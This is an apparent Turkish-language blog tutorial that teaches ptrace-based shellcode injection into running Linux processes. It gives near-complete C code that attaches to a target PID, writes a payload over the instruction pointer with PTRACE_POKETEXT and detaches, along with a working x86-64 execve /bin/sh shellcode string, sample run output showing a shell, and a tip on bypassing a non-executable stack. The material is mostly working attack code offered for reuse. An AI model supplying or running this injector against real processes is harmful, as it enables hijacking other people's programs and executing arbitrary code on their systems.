Linux Çalışan Processleri Etkilemek (Shellcode Injection)

Merhaba Dostlar ilk yazıma hoşgeldiniz. Bu yazımızda Linux içerisinde bulunan process‘ler içerisine nasıl shellcode inject edebileceğimizi göreceğiz.

Bilmeniz Gereken Kavramlar.

Process Nedir ?

Fazla komplekse girmeden anlatmak gerekirse , işletim sistemi‘nin arka planında çalışan usermode-applicationlardır

Process Shellcode Injection Nedir ?

Mevcut herhangi bir process içerisinde çalışan bytecode‘ların önüne ekleyeceğimiz veya çeşitli yollar ile yerine geçmesini sağlayacağımız saldırgan istekleri doğrultusunda çalışan bytecode ların bahsettiğim yollar ile hedeflenen process lerde çalışmasının sağlanmasıdır…

Linux Process Debugging 

Teknik olarak konuşacak olursak Linux’ta bir process e erişmenin en iyi yolu işletim sistemleri tarafından sağlanan Debugging Interfaceleri dir. Linux’ta Debugging için en yaygın olarak kullanılan System Call ptrace dir.

Linux’ta Debugging için kullandığımız hemen hemen bütün araçlar ptrace hizmetinin sunumlandırılmış hali diyebiliriz.

ptrace Sistem çağrısı bir Process 'te Debugging yapmak için bize yeni bir process sağlar. ptrace kullanarak, bir process 'in çalıştırılmasını durdurabileceğimiz , Registerların ve belleğinin değerlerini inceleyebileceğimiz gibi, onları istediğimiz değer ile değiştirebiliriz.

Herşeyden önce

Çalışan bir process 'e etki edebilmek için yapmamız gereken ilk şey, bir Debugging process başlatmaktır bunun için ptrace sistem çağrısını kullanarak Günün sonunda Kendi küçük debugger ımız gibi çalışan bir script yazacağız.

Önce kodumuzun nereye enjekte edilmesini istediğimize karar vermeliyiz. Bunun için iki seçeneğimiz mevcut;

Kodu main() fonksiyonun bulunduğu adrese enjekte etmeye çalışabiliriz . Oradaki kodun, yalnızca process başlangıcında gerçekleşen bazı yüklemeleri içermesi ihtimali vardır ve bu nedenle, orijinal işlevselliği beklendiği gibi çalışmaya devam edebiliriz.

Kodu Stack içerisine enjekte edebiliriz. Bu, processi bozmaktan kaçınmak için oldukça güvenlidir, ancak Enjekte ettiğimiz yerin NX Bit (Noexec Stack) ile korunma ihtimalini düşünmeliyiz.

Ilk yazımdan sizi sıkmamak ve anlaşılmasının kolay olması açısından process kontrolünü ele geçirdiğimizde kodu Instruction Pointer’a enjekte edeceğiz. Ayrıca enjekte ettiğimiz kod Basit bir şekilde shell çağrısında bulunan ufak bir shellcode olacağından Orijinal Process’e kontrolü geri vermemiz mümkün değil. Yani daha basit bir deyişle program shellcode a yönlendiği için programın Bir kısmı yok olacak , ama bu şu anda bizim için o kadarda önemli değil.

Evet Artık Process 'e nasıl Shellcode enjekte edebileceğimizi anladığınıza göre Scriptimizi yazmaya başlayabiliriz. Kodu Doğrudan vermektense size bölüm bölüm açıklamayı tercih ettim.

Kütüpanelerimizi ekliyoruz :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#include <sys/user.h>
#include <sys/reg.h>

Main Fonksiyonu Oluşturup değişkenlerimizi tanımlıyoruz :

int
main (int argc, char *argv[])
{
  pid_t                   target;
  struct user_regs_struct regs;
  int                     syscall;
  long                    dst;

Bu Bölümde agüman olarak “target” değişkenine aldığımız Process ID sine sahip process 'e ptrace sistem çağrısının “PTRACE_ATTACH” parametresini kullanarak yeni bir Debugging process i oluşturup hedeflediğimiz process e dinamik olarak dahil olmak istiyoruz, ardından Hedeflediğimiz process e dahil olduğumuzu işaret eden SIGTRAP sinyalini beklemeye koyuluyoruz…

Bu noktada, dahil olmak istediğimiz Process durdurulur ve onu istediğimiz zaman değiştirmeye başlayabiliriz.

if (argc != 2)
    {
      fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
      exit (1);
    }
  target = atoi (argv[1]);
  printf ("+ Tracing process %d\n", target);
  if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
    {
      perror ("ptrace(ATTACH):");
      exit (1);
    }
  printf ("+ Waiting for process...\n");
  wait (NULL);

Burada ise ptrace çağrısının “PTRACE_GETREGS” parametresi ile Kontrolümüz altındaki process in Register değerleri regs isimli değişkene atanır.

  printf ("+ Getting Registers\n");
  if ((ptrace (PTRACE_GETREGS, target, NULL, &regs)) < 0)
    {
      perror ("ptrace(GETREGS):");
      exit (1);
    }

Aşşağıda gördüğümüz Fonksiyon ise görüldüğü üzere prtace çağrısının “PTRACE_POKETEXT” parametresi ; “inject_data” fonksiyonunun parametreleri ile aldığımız verileri (Shellcode , Shellcode inject edileceği yer vs.) üzerinde Debugging işlemi uyguladığımız asıl process’e yazmamızı sağlar bu aynı zamanda process 'e nasıl shellcode inject ettiğimizi de açıklıyor.

int
inject_data (pid_t pid, unsigned char *src, void *dst, int len)
{
int i;
uint32_t *s = (uint32_t *) src;
uint32_t *d = (uint32_t *) dst;

  for (i = 0; i < len; i+=4, s++, d++)
    {
      if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
	{
	  perror ("ptrace(POKETEXT):");
	  return -1;
	}
    }
  return 0;
}

Burada ise Kontrolümüz altındaki process 'e shellcode enjekte etmek için kullanacağımız “inject_data” fonsiyonu çağırılır. Burada bulunan regs.rip ise bize daha önceden regs ismindeki değişkene atadığımız Registerlar içerisinden (x64 Mimariye göre) Instruction Pointerı bize verir.

  printf ("+ Injecting shell code at %p\n", (void*)regs.rip);
  inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
  regs.rip += 2;	

Artık, hedefimizdeki Process Memory, shellcode umuzu içerecek şekilde değiştirildiğine göre, process i tekrar kontrol etmemiz ve çalışmaya devam etmesine izin vermemiz gerekiyor.

Burada ptrace çağrısının “PTRACE_DETACH” parametresi ile hedef process e detach işlemi gerçekleştirilir. Yani process te Debugging yapmayı durduracağız. Bu eylem, Debugging oturumunu etkili bir şekilde durdurur ve hedef process çalışmaya devam eder:

  printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);
  if ((ptrace (PTRACE_SETREGS, target, NULL, &regs)) < 0)
    {
      perror ("ptrace(GETREGS):");
      exit (1);
    }
  printf ("+ Run it!\n");
 
  if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
	{
	  perror ("ptrace(DETACH):");
	  exit (1);
	}
  return 0;
}

Test sırasında, Stack içerisine kod enjekte etmeye çalıştığımda hedef program crash oluyordu. Bunun bir nedeni, stack 'in shellcode um için çalıştırılabilir olmamasıydı. execstack Aracını kullanarak bu sorunun üstesinden gelebilirsiniz…

Programı derleyip çalıştırdığımızda , çıktı şu şekilde olacaktır :

┌─[mehmet@kernel]─[~/Desktop]
└──╼ $./ptr 1349
+ Tracing process 1349
+ Waiting for process...
+ Getting Registers
+ Injecting shell code at 0x7f74bfde45ce
+ Setting instruction pointer to 0x7f74bfde45d0
+ Run it!
$

Ardından echo $SHELL komutu ile /bin/sh 'a düştüğümüzü görebiliyoruz.

unsigned char shellcode[] = \
"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";

Bu kısımdan shellcode 'u kendinize göre ayarlayabilirsiniz
Scriptin Tamamlanmış haline Buradan ulaşabilirsiniz : https://pastebin.com/6QZshsrT

Yazı hakkında aklınızda soru işareti varsa yorumlarda belirtebilirsiniz.

6 Beğeni